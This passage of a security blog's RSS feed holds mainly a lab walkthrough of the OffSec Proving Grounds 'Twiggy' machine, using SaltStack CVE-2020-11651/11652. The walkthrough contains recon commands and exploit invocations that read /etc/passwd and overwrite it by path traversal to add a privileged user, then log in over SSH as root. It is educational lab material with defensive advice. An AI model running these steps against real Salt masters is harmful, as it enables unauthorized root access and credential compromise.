<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="defensive-takeaways">Defensive takeaways<a href="https://blog.artofvector.com/blog/workaholic-wordpress-cve-2024-9796#defensive-takeaways" class="hash-link" aria-label="Direct link to Defensive takeaways" title="Direct link to Defensive takeaways" translate="no">​</a></h2>
<p>If you run WordPress or custom helpers like this anywhere, the lessons are straightforward:</p>
<ol>
<li class="">Keep plugins patched — unauthenticated SQLi in a search plugin is enough for full compromise.</li>
<li class="">Do not reuse CMS, database, FTP, and SSH passwords across roles.</li>
<li class="">Never expose WordPress document roots over FTP with broad read access.</li>
<li class="">Treat custom SUID binaries as high risk, especially when they <code>dlopen</code> libraries from user-writable paths.</li>
<li class="">Prefer least privilege: a monitoring helper should not need <code>root</code> just to read nginx logs.</li>
</ol>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="references">References<a href="https://blog.artofvector.com/blog/workaholic-wordpress-cve-2024-9796#references" class="hash-link" aria-label="Direct link to References" title="Direct link to References" translate="no">​</a></h2>
<ul>
<li class=""><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-9796" target="_blank" rel="noopener noreferrer" class="">CVE-2024-9796 (NVD)</a></li>
<li class=""><a href="https://developer.wordpress.org/plugins/" target="_blank" rel="noopener noreferrer" class="">WordPress Plugin Handbook</a></li>
<li class=""><a href="https://book.hacktricks.xyz/linux-hardening/privilege-escalation#suid-shared-object-injection" target="_blank" rel="noopener noreferrer" class="">Linux Privilege Escalation: Shared Libraries</a></li>
</ul>
<p>Unauthorized access is illegal. This write-up is for education and authorized lab work only.</p>]]></content:encoded>
            <category>Offsec</category>
            <category>WordPress</category>
            <category>CVE</category>
            <category>FTP</category>
            <category>Privilege Escalation</category>
            <category>Walkthrough</category>
            <category>Labs</category>
        </item>
        <item>
            <title><![CDATA[OffSec Proving Grounds Twiggy — SaltStack CVE-2020-11651 RCE]]></title>
            <link>https://blog.artofvector.com/blog/twiggy-saltstack-cve-2020-11651</link>
            <guid>https://blog.artofvector.com/blog/twiggy-saltstack-cve-2020-11651</guid>
            <pubDate>Mon, 24 Aug 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[OffSec Proving Grounds Twiggy walkthrough — SaltStack recon, CVE-2020-11651 and CVE-2020-11652 remote code execution, and root on the lab machine.]]></description>
            <content:encoded><![CDATA[<p>In this Art of Vector walkthrough, we take a lab machine called Twiggy from a blank terminal to full root access — starting with reconnaissance, then pivoting to an exposed SaltStack service and chaining <a href="https://nvd.nist.gov/vuln/detail/CVE-2020-11651" target="_blank" rel="noopener noreferrer" class="">CVE-2020-11651</a> and <a href="https://nvd.nist.gov/vuln/detail/CVE-2020-11652" target="_blank" rel="noopener noreferrer" class="">CVE-2020-11652</a> into remote code execution.</p>
<!-- -->
<p>Watch the companion video here:</p>
<p><a href="https://youtu.be/QBcr0krhKhE?si=dKIfQTYaX1E-rjUN" target="_blank" rel="noopener noreferrer" class="">https://youtu.be/QBcr0krhKhE?si=dKIfQTYaX1E-rjUN</a></p>
<p>This write-up follows the actual flow of the recorded video: recon first, then web enumeration, then the shift toward SaltStack once the exposed management plane becomes the strongest lead.</p>
<p><strong>Lab only.</strong> All testing was performed in an authorized training environment. Never run these techniques against systems you do not own or do not have explicit written permission to assess.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="summary">Summary<a href="https://blog.artofvector.com/blog/twiggy-saltstack-cve-2020-11651#summary" class="hash-link" aria-label="Direct link to Summary" title="Direct link to Summary" translate="no">​</a></h2>
<p>Twiggy looks ordinary at first glance. There is SSH, HTTP, and a web app that is worth checking. But the winning path is not in the CMS. The real signal is the pair of SaltStack ZeroMQ ports, <code>4505</code> and <code>4506</code>, plus the Salt API on <code>8000</code>.</p>
<p>Once the Salt version is identified as <code>3000-1</code>, the attack chain becomes clear. Public research on the 2020 SaltStack bugs points to an authentication bypass and path traversal combination that can be turned into remote code execution on the master. In the lab, that ends with full <code>root</code>.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="enumeration">Enumeration<a href="https://blog.artofvector.com/blog/twiggy-saltstack-cve-2020-11651#enumeration" class="hash-link" aria-label="Direct link to Enumeration" title="Direct link to Enumeration" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="nmap">Nmap<a href="https://blog.artofvector.com/blog/twiggy-saltstack-cve-2020-11651#nmap" class="hash-link" aria-label="Direct link to Nmap" title="Direct link to Nmap" translate="no">​</a></h3>
<p>The machine opens with a straightforward scan. The first important observation is not just that HTTP is present, but that the host also exposes <code>4505</code>, <code>4506</code>, and <code>8000</code>.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">sudo nmap -p- -A 192.168.233.62</span><br></div></code></pre></div></div>
<p>The important ports are:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">22/tcp    open  ssh</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">80/tcp    open  http</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">4505/tcp  open  zmtp</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">4506/tcp  open  zmtp</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">8000/tcp  open  http</span><br></div></code></pre></div></div>
<p>That combination is where the machine shifts from "probably a web app target" to "possibly a SaltStack target."</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="service-analysis">Service analysis<a href="https://blog.artofvector.com/blog/twiggy-saltstack-cve-2020-11651#service-analysis" class="hash-link" aria-label="Direct link to Service analysis" title="Direct link to Service analysis" translate="no">​</a></h3>
<p>Once the ports are visible, the next step is to stop treating them equally.</p>
<p>Port <code>80</code> points to Mezzanine on nginx. That is worth checking first.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">searchsploit mezzanine</span><br></div></code></pre></div></div>
<p>In this case, the public findings around Mezzanine do not give us the path we need for initial access.</p>
<p>Ports <code>4505</code> and <code>4506</code> are more unusual. Service detection identifies them as ZeroMQ, which is the clue that points back to SaltStack.</p>
<p>Port <code>8000</code> closes the loop by exposing the Salt API. In the video, this is the moment where the attack path becomes clear.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">curl http://192.168.233.62:8000 -v</span><br></div></code></pre></div></div>
<p>The key line is the upstream header:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">X-Upstream: salt-api/3000-1</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="web-enumeration">Web enumeration<a href="https://blog.artofvector.com/blog/twiggy-saltstack-cve-2020-11651#web-enumeration" class="hash-link" aria-label="Direct link to Web enumeration" title="Direct link to Web enumeration" translate="no">​</a></h3>
<p>The web path is still tested properly before committing to Salt. Mezzanine is reviewed, <code>searchsploit</code> is checked, and directory brute-forcing is used to make sure there is not an easier route hiding behind the site.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">gobuster dir -u http://192.168.233.62/ \</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt</span><br></div></code></pre></div></div>
<p>Nothing on the web side matches the leverage of the exposed management service. The web app is the distraction, not the root cause.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-saltstack-became-the-real-path">Why SaltStack became the real path<a href="https://blog.artofvector.com/blog/twiggy-saltstack-cve-2020-11651#why-saltstack-became-the-real-path" class="hash-link" aria-label="Direct link to Why SaltStack became the real path" title="Direct link to Why SaltStack became the real path" translate="no">​</a></h2>
<p>Port <code>8000</code> gives the clearest confirmation. The API response exposes a SaltStack header that identifies the target as <code>salt-api/3000-1</code>.</p>
<p>That version sits in the vulnerable window for the 2020 SaltStack issues. In practice, the pair matters because one weakness removes the trust boundary and the other expands access on the master. Together, they turn exposed management ports into a path to high-impact execution.</p>
<p>The important idea is not the exploit script itself. The important idea is the chain:</p>
<ul>
<li class="">ZeroMQ ports visible on the host</li>
<li class="">Salt API reachable</li>
<li class="">Vulnerable version exposed</li>
<li class="">Management plane reachable from the attacker network</li>
</ul>
<p>Once those conditions line up, the host is already in trouble.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="exploitation-path">Exploitation path<a href="https://blog.artofvector.com/blog/twiggy-saltstack-cve-2020-11651#exploitation-path" class="hash-link" aria-label="Direct link to Exploitation path" title="Direct link to Exploitation path" translate="no">​</a></h2>
<p>Once <code>salt-api/3000-1</code> is exposed, the path forward is SaltStack research around <a href="https://nvd.nist.gov/vuln/detail/CVE-2020-11651" target="_blank" rel="noopener noreferrer" class="">CVE-2020-11651</a> and <a href="https://nvd.nist.gov/vuln/detail/CVE-2020-11652" target="_blank" rel="noopener noreferrer" class="">CVE-2020-11652</a>.</p>
<p>The video follows a practical sequence:</p>
<ol>
<li class="">confirm the Salt version</li>
<li class="">pull a public PoC</li>
<li class="">fix the local environment</li>
<li class="">validate that the master is vulnerable</li>
<li class="">move from file access to <code>root</code></li>
</ol>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="python-environment">Python environment<a href="https://blog.artofvector.com/blog/twiggy-saltstack-cve-2020-11651#python-environment" class="hash-link" aria-label="Direct link to Python environment" title="Direct link to Python environment" translate="no">​</a></h3>
<p>On Kali, the first hurdle is usually the local Python environment, not the target.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">python3 -m venv myvenv</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">source myvenv/bin/activate</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">pip install salt</span><br></div></code></pre></div></div>
<p>That setup step matters because modern Kali blocks the old habit of dropping dependencies straight into the system interpreter.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="proving-impact">Proving impact<a href="https://blog.artofvector.com/blog/twiggy-saltstack-cve-2020-11651#proving-impact" class="hash-link" aria-label="Direct link to Proving impact" title="Direct link to Proving impact" translate="no">​</a></h3>
<p>The first useful move is proving that the target is vulnerable and that file access works.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">python3 exploit.py --master 192.168.233.62 --read /etc/passwd</span><br></div></code></pre></div></div>
<p>In the video, this is the point where the attack becomes real. The exploit confirms that the master is online, vulnerable, and accessible enough to read sensitive files directly from the target.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="moving-to-root">Moving to root<a href="https://blog.artofvector.com/blog/twiggy-saltstack-cve-2020-11651#moving-to-root" class="hash-link" aria-label="Direct link to Moving to root" title="Direct link to Moving to root" translate="no">​</a></h3>
<p>Reading files proves impact, but the goal is shell access. The route used in the walkthrough is to create a password hash, craft a new privileged entry, write it into <code>/etc/passwd</code>, and then log in over SSH.</p>
<p>Generate a password hash:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">openssl passwd -1 password123</span><br></div></code></pre></div></div>
<p>Prepare a new <code>passwd</code> file with the added privileged user entry, then upload it:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">python3 exploit.py --master 192.168.233.62 \</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  --upload-src passwd \</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  --upload-dest ../../../../../../etc/passwd</span><br></div></code></pre></div></div>
<p>Once the file write succeeds, log in:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">ssh aov@192.168.233.62</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">id</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">whoami</span><br></div></code></pre></div></div>
<p>In the walkthrough, that final step lands directly in a <code>root</code> session.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="root-outcome">Root outcome<a href="https://blog.artofvector.com/blog/twiggy-saltstack-cve-2020-11651#root-outcome" class="hash-link" aria-label="Direct link to Root outcome" title="Direct link to Root outcome" translate="no">​</a></h2>
<p>What matters at the end is not the exploit script itself, but the result: exposed Salt services gave the attacker a path to administrative control of the machine.</p>
<p>That is why Twiggy works as a teaching machine. The chain is clean:</p>
<ul>
<li class="">recon finds the unusual ports</li>
<li class="">service analysis identifies Salt</li>
<li class="">web enumeration rules out the obvious path</li>
<li class="">version confirmation ties the host to known Salt flaws</li>
<li class="">exploitation turns exposed infrastructure into <code>root</code></li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-this-machine-is-a-good-lesson">Why this machine is a good lesson<a href="https://blog.artofvector.com/blog/twiggy-saltstack-cve-2020-11651#why-this-machine-is-a-good-lesson" class="hash-link" aria-label="Direct link to Why this machine is a good lesson" title="Direct link to Why this machine is a good lesson" translate="no">​</a></h2>
<p>Twiggy is not memorable because it has a flashy exploit. It is memorable because it rewards good enumeration.</p>
<p>If you stop at the CMS, you waste time. If you scan shallowly, you may miss the ports that matter. If you see <code>4505</code> and <code>4506</code> and do not recognize them, you miss the entire attack path.</p>
<p>This is why recon matters so much in practice. A fast win usually starts with noticing the one service that should not be there.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="defensive-takeaways">Defensive takeaways<a href="https://blog.artofvector.com/blog/twiggy-saltstack-cve-2020-11651#defensive-takeaways" class="hash-link" aria-label="Direct link to Defensive takeaways" title="Direct link to Defensive takeaways" translate="no">​</a></h2>
<p>If you run Salt anywhere in your environment, the lessons are straightforward:</p>
<ol>
<li class="">Patch beyond the vulnerable versions immediately.</li>
<li class="">Never leave <code>4505</code> and <code>4506</code> exposed to untrusted networks.</li>
<li class="">Treat an exposed Salt master as a serious incident, not a routine misconfiguration.</li>
<li class="">Remember that the control plane can be more dangerous than the application sitting in front of it.</li>
</ol>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="references">References<a href="https://blog.artofvector.com/blog/twiggy-saltstack-cve-2020-11651#references" class="hash-link" aria-label="Direct link to References" title="Direct link to References" translate="no">​</a></h2>
<ul>
<li class=""><a href="https://nvd.nist.gov/vuln/detail/CVE-2020-11651" target="_blank" rel="noopener noreferrer" class="">CVE-2020-11651 (NVD)</a></li>
<li class=""><a href="https://nvd.nist.gov/vuln/detail/CVE-2020-11652" target="_blank" rel="noopener noreferrer" class="">CVE-2020-11652 (NVD)</a></li>
<li class=""><a href="https://www.exploit-db.com/exploits/48421" target="_blank" rel="noopener noreferrer" class="">Exploit-DB 48421</a></li>
<li class=""><a href="https://www.cyber.gc.ca/en/alerts-advisories/saltstack-vulnerabilities-actively-exploited" target="_blank" rel="noopener noreferrer" class="">SaltStack vulnerabilities actively exploited</a></li>
</ul>
<p>Unauthorized access is illegal. This write-up is for education and authorized lab work only.</p>]]></content:encoded>
            <category>Offsec</category>
            <category>SaltStack</category>
            <category>CVE</category>
            <category>Walkthrough</category>
            <category>Labs</category>
        </item>
        <item>
            <title><![CDATA[Welcome to AOV Blog]]></title>
            <link>https://blog.artofvector.com/blog/welcome</link>
            <guid>https://blog.artofvector.com/blog/welcome</guid>
            <pubDate>Thu, 20 Aug 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[AOV Blog — practical security research, OffSec lab notes, web hardening, and lessons from testing apps, APIs, and AI systems by Art of Vector.]]></description>
            <content:encoded><![CDATA[<p>Notes on web security, system hardening, and building software that stays safe to run.</p>
<!-- -->
<p>This blog is the writing side of <a href="https://security.artofvector.com/" target="_blank" rel="noopener noreferrer" class="">AOV Security</a> — practical research, field notes, and lessons from testing web apps, APIs, and AI systems.</p>]]></content:encoded>
            <category>General</category>
        </item>
    </channel>
</rss>